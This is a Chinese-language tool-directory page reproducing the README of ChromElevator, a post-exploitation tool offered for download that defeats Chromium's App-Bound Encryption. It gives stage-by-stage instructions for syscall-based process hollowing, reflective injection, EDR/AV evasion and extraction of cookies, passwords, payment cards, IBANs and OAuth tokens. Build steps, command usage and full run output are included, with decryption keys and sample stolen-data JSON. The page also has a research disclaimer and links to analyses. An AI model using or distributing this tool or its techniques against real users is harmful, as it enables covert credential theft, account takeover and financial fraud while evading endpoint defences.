Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Chrome-App-Bound-Encryption-Decryption — 通过基于直接系统调用的反射式进程镂空绕过 Chromium 的 App-Bound 加密。从 Chrome、Edge、Brave 与 Avast 中提取 Cookie、密码、支付方式及令牌——无文件、用户态、无需管理员权限。 | Kitploit
工具/GitHubGitHub/xaitax/chrome-app-bound-encryption-decryption
加密/解密工具密码攻击漏洞利用数据泄露信息收集后渗透利用密码学红队
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
xaitax/chrome-app-bound-encryption-decryption

Chrome-App-Bound-Encryption-Decryption

通过基于直接系统调用的反射式进程镂空绕过 Chromium 的 App-Bound 加密。从 Chrome、Edge、Brave 与 Avast 中提取 Cookie、密码、支付方式及令牌——无文件、用户态、无需管理员权限。

查看仓库网站
1.7k2926个月前Kitploit 审核通过

ChromElevator (Chrome App-Bound Encryption Decryption)

🚀 概述

Build Status License Platform Languages Ask DeepWiki

一个后渗透利用工具,演示了如何完整地在内存中绕过 Chromium 的 应用绑定加密(App-Bound Encryption, ABE)。本项目利用 基于直接系统调用(Direct Syscall)的反射式进程镂空(Reflective Process Hollowing) 来以挂起状态启动一个合法的浏览器进程,隐蔽地注入载荷以劫持其身份和安全上下文。这种 白加黑(Living-off-the-Land, LOTL) 技术颠覆了浏览器自身的安全模型。无文件(fileless)方法使该工具能够完全在内存中运行,绕过用户态 API 钩子,从而解密并窃取现代 Chromium 浏览器中的敏感用户数据(Cookie、密码、支付信息)。

如果您认为这项研究有价值,希望能请我喝杯咖啡:
ko-fi

🛡️ 核心技术支柱

该工具的有效性根植于一系列现代、以规避为重点的技术组合:

  • 直接系统调用实现规避: 通过直接调用内核函数,绕过 EDR/AV 在标准 WinAPI 函数上的用户态钩子。该引擎利用 Hell's Gate 技术,配合 基于哈希的函数匹配(二进制中不包含明文的系统调用名称),在运行时动态解析系统调用号。

  • 基于直接系统调用的进程镂空: 一种隐蔽的进程创建与注入技术。它不是注入到流量高且可能被监控的进程中,而是创建一个新的、挂起状态的主机进程。由于所有内存操作都发生在进程开始正常运行之前,因此显著降低了被检测到的可能性。

  • 无文件内存载荷: 载荷 DLL 永远不会落到目标机器的磁盘上。它作为 ChaCha20 加密 的编译期字节数组嵌入,并使用 编译期派生密钥,在内存中解密后以反射方式加载,从而最大限度地减少取证足迹,并绕过基于静态文件的扫描器。

  • 反射式 DLL 注入(RDI): 一种绕过主载荷 LoadLibrary 的隐蔽进程注入方法,从而规避监控模块加载的检测机制。自包含的引导加载程序从内存中映射 PE 节区、执行重定位并解析导入。

  • 目标上下文 COM 调用: 这是击败应用绑定加密的关键。通过在受信任的浏览器进程 内部 执行代码,我们继承了其身份和安全上下文,从而能够向 ABE COM 服务器发起看似合法的调用,并满足其路径验证安全检查。

⚙️ 功能特性

核心功能

  • 🔓 完全用户态解密 Cookie、密码、支付方式、IBAN 和 Google OAuth 令牌。
  • 📁 发现并处理所有用户配置文件(Default、Profile 1 等)。
  • 📝 将所有提取的数据导出为结构化的 JSON 文件,按配置文件组织。
  • 🔍 全面的浏览器指纹识别,附带系统信息。

隐蔽与规避

  • 🛡️ 无文件载荷投递: 内存中解密并注入加密的嵌入载荷。
  • 🛡️ 直接系统调用引擎: 避免使用被挂钩的用户态 API 执行全部进程操作,从而绕过常见的端点防御。
  • 🛡️ 基于哈希的系统调用解析: 二进制中不包含明文的 Nt*/Zw* 函数名称——使用编译期 DJB2 哈希。
  • 🛡️ 编译期密钥派生: 加密密钥由构建元数据派生,每次构建均唯一。
  • 🛡️ PE 头销毁: 注入后使用伪随机数据覆盖 PE 头,以规避内存扫描器。
  • 🛡️ IPC 伪装: 特定于浏览器的命名管道模式,与合法浏览器 IPC 流量融为一体。
  • 🤫 进程镂空: 为载荷创建一个良性的、挂起状态的主机进程,避免注入到可能被监控的进程中。
  • 👻 反射式 DLL 注入: 在不触发可疑的 LoadLibrary 调用的前提下隐蔽地加载载荷。
  • 🔒 非侵入式文件锁绕过: 使用基于系统调用的句柄复制来访问被锁定的 SQLite 数据库,而无需终止浏览器进程。也可通过可选的 --kill 标志完全终止进程。
  • 💼 无需管理员权限: 完全在用户的安全上下文中运行。

兼容性与易用性

  • 🌐 适用于 Google Chrome、Brave、Edge 和 Avast Secure Browser。
  • 💻 原生支持 x64 和 ARM64 架构。
  • 🚀 独立运行: 自动创建一个新的浏览器进程来承载载荷,无需预先存在的运行实例。
  • 📁 可自定义提取数据的输出目录。
图像

📦 支持与测试版本

注意: Chrome/Brave/Edge 144+ 使用新的 IElevator2 COM 接口。该工具在可用时自动使用 IElevator2,并在旧版本上回退到 IElevator。Avast Secure Browser 使用自定义的 IElevatorChrome 接口,其 vtable 扩展为 12 个方法,DecryptData 位于偏移 104 处。

🔍 功能支持矩阵

该矩阵列出了每个受支持浏览器的提取能力。

🔬 技术工作流程

该工具的执行专注于隐蔽性和效率,围绕 基于直接系统调用的反射式镂空 进程构建。这种方法确保很少进行高级别 API 调用,并且载荷在合法的、新创建的浏览器进程内部运行。

阶段 1:注入器(chromelevator.exe)

  1. 预检与初始化: 注入器首先初始化其 直接系统调用引擎,动态解析 ntdll.dll 以使用基于哈希的匹配来解析系统调用号(SSN),并定位内核转移指令(syscall/ret 或 svc/ret)。如果指定了 --kill 标志,它将使用 NtGetNextProcess 和 NtTerminateProcess 系统调用终止目标浏览器的所有运行实例,以释放 SQLite 数据库上的文件锁。
  2. 载荷准备: 核心载荷 DLL 以 ChaCha20 加密 的编译期字节数组形式嵌入,并使用编译期派生密钥,完全在内存中解密。
  3. 进程镂空: 注入器不是针对现有进程,而是以 CREATE_SUSPENDED 状态(CreateProcessW)创建目标浏览器的一个新实例。这个全新的、挂起状态的进程将作为我们载荷的主机。
  4. 通过系统调用进行反射式注入: 注入器使用直接系统调用引擎,对挂起状态的进程执行一系列隐蔽操作:
    • 使用 NtAllocateVirtualMemory(直接系统调用)分配内存。
    • 使用 NtWriteVirtualMemory 将解密后的载荷 DLL 写入分配的空间。
    • 使用 NtProtectVirtualMemory(直接系统调用)将内存区域的权限更改为可执行。
    • 创建一个用于通信的 命名管道,并将管道名称写入目标进程的内存中。

阶段 2:注入后的载荷(内存中)

  1. 引导: Bootstrap 反射式加载器开始执行,充当自定义的内存中 PE 加载器,并具有增强的隐蔽性:
    • 使用 直接系统调用 调用 NtAllocateVirtualMemory 为载荷分配新内存(绕过被挂钩的 VirtualAlloc)。
    • 正确映射 DLL 的节区并执行基址重定位。
    • 通过解析 PEB 并对函数名称进行哈希来解析其导入地址表(IAT)。
    • 使用 直接系统调用 调用 NtProtectVirtualMemory 设置节区权限。
    • 通过用伪随机数据覆盖 DOS/NT 头来 销毁 PE 头,从内存中消除 MZ 签名。
    • 最后,调用载荷的 DllMain。
  2. 连接与设置: DllMain 生成一个新线程,该线程立即连接到注入器传递的命名管道句柄。它读取注入器发送的配置,包括输出路径。所有后续日志和状态更新都通过此管道回传。
  3. 目标上下文 COM 劫持: 载荷现在在浏览器进程内原生运行,实例化浏览器内部的 COM 服务器(Chrome/Brave 144+ 为 IElevator2,早期版本为 IElevator,Edge 为 IEdgeElevatorFinal,Avast Secure Browser 为 IAvastElevator)。由于调用源自受信任的进程路径,因此服务器所有安全检查均会通过。
  4. 主密钥解密: 载荷调用 COM 接口上的 DecryptData 方法,并传入其从 文件中读取的 。COM 服务器忠实地解密该密钥,并将明文 AES-256 主密钥返回给载荷。

🔧 构建说明

本项目使用一个简单且稳健的构建脚本,可自动处理所有编译和载荷嵌入工作。

  1. 克隆 此仓库。

  2. 打开 VS 开发者命令提示符(或任何启用 MSVC 的 shell)。

  3. 在项目根目录运行构建脚本 make.bat。

构建选项:

  • make.bat - 完整构建(默认)
  • make.bat clean - 删除所有构建产物
  • make.bat build_encryptor_only - 仅构建加密器(供 CI 使用)
  • make.bat build_target_only - 构建载荷和注入器(供 CI 使用)

使用 GitHub Actions 自动构建

本项目使用 GitHub Actions 自动为 x64 和 ARM64 两种架构构建注入器可执行文件(chromelevator.exe)。

您可以在 Releases 页面 找到最新的预编译二进制文件。两种架构的可执行文件打包在同一个便捷的 .zip 文件中。

发布包内容:

  • chromelevator_x64.exe
  • chromelevator_arm64.exe

🚀 使用方法```bash

PS> .\chromelevator.exe --help

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>

Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory

root@kitploit:~
### 选项

- `--output-path <path>` 或 `-o <path>`
  指定输出文件的基础目录。
  默认为相对于注入器位置的 `.\output\`。
  数据将组织到子文件夹中:`<path>/<BrowserName>/<ProfileName>/`。

- `--verbose` 或 `-v`
  启用注入器的详细调试输出。

- `--fingerprint` 或 `-f`
  提取全面的浏览器指纹数据,包括版本、扩展程序、安全设置和系统信息。
  结果保存到浏览器输出目录中的 `fingerprint.json`。

- `--kill` 或 `-k`
  **在提取前终止所有浏览器进程。** 使用直接系统调用(`NtTerminateProcess`)在尝试提取数据前终止目标浏览器的所有运行实例。当浏览器正在运行并持有数据库文件的锁,导致工具无法访问 Cookie 或其他加密数据时,此选项非常有用。

- `--help` 或 `-h`
  显示此帮助信息。

### 正常运行```bash
PS> .\chromelevator.exe all

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  ┌──── Brave (143.1.85.120) ──────────────────────
  │
  │ Decryption Key
  │ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
  │
  ├── Default
  │   Cookies     3312
  │   Passwords   55
  │   Cards       1
  │   IBANs       1
  │
  └── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave

  ┌──── Chrome (143.0.7499.193) ───────────────────
  │
  │ Decryption Key
  │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
  │
  ├── Default
  │   Cookies     380
  │   Passwords   1
  │
  ├── Profile 1
  │   Cookies     932
  │   Passwords   791
  │   Cards       1
  │   IBANs       1
  │   Tokens      2
  │
  └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

  ┌──── Chrome Beta (144.0.7559.59) ───────────────
  │
  │ Decryption Key
  │ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
  │
  ├── Default
  │   Cookies     224
  │
  └── 224 cookies (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta

  ┌──── Edge (144.0.3719.67) ──────────────────────
  │
  │ Decryption Key
  │ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
  │
  ├── Default
  │   Cookies     226
  │   Passwords   2
  │   Cards       1
  │
  ├── Profile 1
  │   Cookies     25
  │
  └── 251 cookies, 2 passwords, 1 cards (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge

详细模式```bash

PS> .\chromelevator.exe -v -f chrome

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

root@kitploit:~
## 📂 数据提取

解密完成后,数据将保存到指定的输出路径(如果未通过 `--output-path` 指定,则默认为 `.\output\`)。文件按如下方式组织:

**基本路径:** `YOUR_CHOSEN_PATH`(例如,`.\output\` 或你提供的路径)
**结构:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json

示例路径(假设使用默认输出位置):

- 🍪 **Cookies(Chrome 默认配置文件):** .\output\Chrome\Default\cookies.json
- 🔑 **密码(Edge 配置文件 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **支付方式(Brave 默认配置文件):** .\output\Brave\Default\payments.json
- 🏦 **IBAN(Chrome 配置文件 1):** .\output\Chrome\Profile 1\iban.json

### 🍪 Cookie 提取

每个 cookie 文件都是一个 JSON 对象数组:```json
[
  {
    "host": "accounts.google.com",
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "expires": 1766591611,
    "value": "AFx_qI781-…"
  },
  {
    "host": "mail.google.com",
    "name": "OSID",
    "path": "/mail",
    "expires": 1766591611,
    "value": "g.a000uwj5ufIS…"
  },
  …
]

🔑 密码提取

每个密码文件都是一个 JSON 对象数组:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]

root@kitploit:~
### 💳 支付方式提取

每个支付文件都是一个 JSON 对象数组:```json
[
  {
    "name": "John Doe",
    "month": 12,
    "year": 2030,
    "number": "••••••••••1234",
    "cvc": "•••"
  },
  …
]

🏦 IBAN 提取

每个 IBAN 文件是一个 JSON 对象数组:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]

root@kitploit:~
### 🎟️ 令牌提取

每个令牌文件都是一个 JSON 数组,其中包含服务、解密后的令牌以及绑定密钥(如果存在):```json
[
  {
    "service": "AccountId-112823413702122221871",
    "token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
    "binding_key": ""
  }
]

🔍 浏览器指纹识别

使用 --fingerprint 或 -f 标志时,将生成一份全面的元数据报告:```json { "browser": "Chrome", "executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe", "browser_version": "143.0.7499.170", "user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data", "sync_enabled": false, "enterprise_managed": true, "update_channel": "stable", "hardware_acceleration": false, "metrics_enabled": false, "autofill_enabled": true, "password_manager_enabled": false, "safe_browsing_enabled": true, "do_not_track": false, "third_party_cookies_blocked": false, "translate_enabled": true, "installed_extensions_count": 2, "extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"], "profile_count": 2, "computer_name": "DESKTOP-ABC123", "windows_user": "username", "os_version": "10.0.26220", "architecture": "ARM64", "last_config_update": 1766578854, "extraction_timestamp": 1766591611, "extraction_complete": true }

root@kitploit:~
此数据提供有关浏览器配置、安全态势和系统上下文的情报。

## 📚 深入技术分析与研究

如需全面理解 Chrome 的 App-Bound 加密(ABE)、其实现的复杂性、本工具方法的详细机制,以及相关安全向量的更广泛讨论,请参阅我的详细研究论文:

1.  ➡️ **[Chrome 的 App-Bound 加密(ABE)——技术深度剖析与研究笔记](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**

    本文档涵盖:

    - 从 DPAPI 到 ABE 的演进。
    - ABE 机制的分步剖析,包括 `IElevator`/`IElevator2` COM 交互和密钥包装。
    - 本工具采用的 DLL 注入策略的详细方法论。
    - 加密数据结构分析及相关 Chromium 源代码洞见。
    - 替代解密向量与 Chrome 不断演进的防御措施的讨论。

2.  ➡️ **[难缠 COM 的离奇案件:解密 Microsoft Edge 的 App-Bound 加密](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**

    本文详细介绍了为实现 Microsoft Edge 可靠的 ABE 解密所经历的特定挑战与逆向工程之路,内容包括:

    - 对最初问题及误导性错误码(`E_INVALIDARG`、`E_NOINTERFACE`)的记述。
    - 使用 COM 类型库内省(借助 Python `comtypes`)来揭示 Edge 独特的 `IElevatorEdge` vtable 结构与继承关系的过程。
    - 这一洞见如何促成量身定制的 C++ 接口存根,从而成功与 Edge 的 ABE 服务交互。
    - 对调试棘手 COM 互操作性问题的实用探讨。

3.  ➡️ **[电梯迎来升级:Chrome 144、IElevator2 与 Mojo 前景](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**

    本文介绍了 Chrome 144 新增的 `IElevator2` COM 接口及其对 ABE 的意义:

    - 对 Chrome 143 的 `IElevator` 与 Chrome 144 的 `IElevator2` 接口进行技术对比。
    - 分析两个新方法(`RunIsolatedChrome`、`AcceptInvitation`)及其与 Chromium 计划中的 Mojo IPC 迁移的关联。
    - 展示向后兼容性得以保留的 VTable 布局对比。
    - Edge 144 对 `IElevator2` 及新增 Copilot 接口的部分采用。
    - 对 Mojo 迁移为 ABE 安全带来哪些(及不会带来哪些)变化作出客观评估。

4.  ➡️ **[COMrade ABE:App-Bound 加密 COM 底层的实战手册](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**

    这本实战手册介绍了 **COMrade ABE**——一个面向 ABE COM 接口、基于 Python 的动态分析器,并深入探讨了其实际应用:

    - 阐述因浏览器差异与更新而进行动态 COM 接口分析的必要性。
    - 详述 COMrade ABE 的方法论:通过注册表扫描进行服务发现、类型库加载与解析,以及基于启发式的 ABE 方法签名匹配。
    - 提供解读 COMrade ABE 输出的全面指南,包括 CLSID、IID(标准与 C++ 风格),以及 VTable 偏移量、定义接口、完整继承链等详细输出信息的含义。
    - 强调自动生成的 C++ 存根(`--output-cpp-stub`)在快速开发与研究中的实用性。
    - 讨论 COMrade ABE 如何帮助适应 ABE 的变化、分析新型 Chromium 浏览器,并理解厂商特定的 COM 定制。

## 🔗 其他资源与研究

本项目建立在更广泛安全社区的工作与分析基础之上。

- **官方文档与公告:**

  - [Google 安全博客:提升 Windows 上 Chrome Cookie 的安全性](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
  - [设计文档:Chrome App-Bound 加密服务](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)

- **社区研究与致谢:**

  - 由 [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824) 提供的概念验证

## 🗒️ 更新日志

本项目的所有重要变更均记录在 [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md) 文件中,涵盖版本历史、新功能、缺陷修复与安全改进。

## 📜 许可证

本项目基于 MIT 许可证授权——详见 [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) 文件。

## 💡 项目理念与免责声明

> [!IMPORTANT]
> 这是一个出于教育与安全研究目的而创建的业余项目,既是个人学习经历,也是探索高级 Windows 概念的试验场。
>
> **本工具并非旨在成为功能完备的信息窃取器,也不是可保证规避 EDR 的工具。** 尽管它采用了先进技术,但其首要目标是演示与剖析 ABE 机制,而非为恶意用途提供操作性隐匿。请确保遵守所有相关法律与道德准则。
下载工具
浏览器已测试版本(x64 与 ARM64)
Google Chrome144.0.7559.133
Google Chrome Beta145.0.7632.18
Brave1.86.148 (144.1.86.148)
Microsoft Edge145.0.3800.36
Avast Secure Browser143.0.33371.147
功能Google ChromeMicrosoft EdgeBraveAvast Secure Browser
Cookies✅ ABE✅ ABE✅ ABE✅ ABE
Passwords✅ ABE✅ ABE✅ ABE✅ ABE
Payment Methods✅ ABE✅ ABE✅ ABE✅ ABE
IBANs✅ ABE❌ N/A✅ ABE✅ ABE
Auth Tokens✅ Google❌ N/A❌ N/A❌ N/A
  • 执行与控制: 使用 NtCreateThreadEx 在目标进程中创建一个新线程。线程的起始地址直接指向载荷的 Bootstrap 导出函数,其参数为远程管道名称的地址。浏览器的原始主线程保持挂起状态,且永远不会被恢复。随后注入器等待载荷回连到管道。
  • Local State
    app_bound_encrypted_key
  • 数据窃取: 凭借此 AES 密钥,载荷枚举所有用户配置文件(Default、Profile 1 等)。对于每个配置文件,它查询相关的 SQLite 数据库(Cookies、Login Data、Web Data),使用 AES-256-GCM 解密数据块,并将机密信息格式化为 JSON。结果直接写入注入器指定的输出目录。
  • 关闭: 处理完所有配置文件后,载荷通过管道向注入器发送完成信号,并调用 FreeLibraryAndExitThread 进行清理。注入器收到信号后,使用 NtTerminateProcess 终止父主机进程。